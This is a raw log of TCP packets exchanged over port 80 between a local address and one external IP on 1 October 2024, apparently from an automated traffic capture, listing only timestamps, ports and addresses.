Oct 1, 2024 07:51:14.680480003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680491924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680531979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680547953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680661917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680675030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680685997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680696011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680707932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680713892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680717945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680728912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680757999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680774927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681179047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681190968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681201935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681231976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681246996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681372881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681382895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681397915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681412935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681423903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681426048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681435108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681444883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681447983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681457043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681466103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681473017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681478024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.681502104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.681520939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682068110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682109118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682255030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682270050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682292938 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682293892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682306051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682315111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682317972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682338953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682378054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682802916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682813883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682826042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682837009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682847023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682851076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682858944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.682873011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.682912111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683121920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683132887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683144093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683155060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683166027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683173895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683202982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683259964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683290005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683300018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683330059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683410883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683422089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683432102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683451891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683481932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.683968067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683978081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.683998108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.684021950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.684051037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689347029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689359903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689371109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689394951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689419031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689517975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689529896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689567089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689654112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689698935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689723969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689832926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689904928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689917088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689928055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.689944983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.689980030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.690256119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690295935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.690423012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690440893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690452099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690464020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690473080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690485954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.690525055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.690934896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690946102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690957069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690968037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690979004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690989017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.690994024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.691030979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756263971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756278038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756289005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756340027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756369114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756382942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756393909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756405115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756431103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756481886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756634951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756647110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756690979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756735086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756745100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756776094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756865978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756876945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.756922007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.756989956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757040977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757052898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757064104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757086039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.757112980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.757340908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757354021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757365942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757375956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757385969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757394075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.757421017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.757672071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757683992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757694960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.757720947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.757741928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767211914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767281055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767417908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767431974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767442942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767467022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767487049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767499924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767523050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767560959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767724991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767771959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767774105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767786026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767808914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.767812967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767833948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.767862082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.768174887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768187046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768246889 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.768321037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768345118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768356085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768361092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.768367052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768377066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768430948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.768832922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768845081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768857002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768867970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768878937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768889904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768901110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.768901110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768913031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.768950939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.769679070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769690037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769701004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769711018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769721031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769731045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769736052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.769754887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769764900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.769781113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.769812107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.770517111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770529032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770545959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770558119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770567894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770572901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.770577908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770587921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770600080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770605087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770610094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.770616055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.770658970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.771492004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771505117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771516085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771527052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771536112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771547079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771549940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.771558046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771569014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771579981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.771604061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.771629095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.772350073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772361994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772372007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772382975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772393942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772399902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.772406101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772417068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772428036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.772448063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.772485018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.773101091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773113012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773123026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773133039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773144007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773154020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773156881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.773200989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.773508072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773519993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773530960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773544073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.773641109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.773641109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.777795076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.777829885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.777852058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.777878046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.777931929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.777942896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.777954102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.777985096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778023005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778148890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778160095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778218031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778275013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778285980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778296947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778306961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778316975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778321028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778351068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778666019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778677940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778690100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778701067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778712034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.778723001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778739929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.778779030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.779059887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.779071093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.779083014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.779093981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.779110909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.779145002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.844856024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.844921112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.844933033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.844935894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.844969034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845068932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845105886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845154047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845165968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845176935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845185995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845204115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845235109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845478058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845489025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845499992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845511913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845525026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845561028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845793009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845804930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845815897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845827103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.845838070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.845868111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.846163988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846174955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846185923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846195936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846208096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846220016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846224070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.846261978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.846640110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.846685886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.855675936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855720997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855731010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855766058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.855793953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.855860949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855870962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855881929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.855921984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.855941057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856086969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856097937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856126070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856144905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856246948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856304884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856362104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856373072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856403112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856426954 CEST	49732	80	192.168.2.4	45.200.148.113
